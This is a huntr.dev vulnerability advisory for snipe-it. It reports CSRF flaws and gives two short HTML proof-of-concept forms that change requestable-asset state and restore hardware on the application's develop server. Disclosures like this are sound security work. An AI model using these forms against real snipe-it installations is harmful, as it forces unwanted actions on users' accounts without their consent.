Lucene search

K
huntrAmammadA2FAC2EB-100D-45B1-9AC7-71847C2F2B6B
HistoryOct 04, 2021 - 9:33 p.m.

Cross-Site Request Forgery (CSRF) in snipe/snipe-it

2021-10-0421:33:44
amammad
www.huntr.dev
6

0.001 Low

EPSS

Percentile

48.0%

Description

I found some low/medium level CSRFs on nice snipe-it application

Proof of Concepts

change the state of Requestable Assets :

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://develop.snipeitapp.com/account/request-asset/{id}">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

restore a hardware :

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://develop.snipeitapp.com/hardware/{id}/restore">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

48.0%

Related for A2FAC2EB-100D-45B1-9AC7-71847C2F2B6B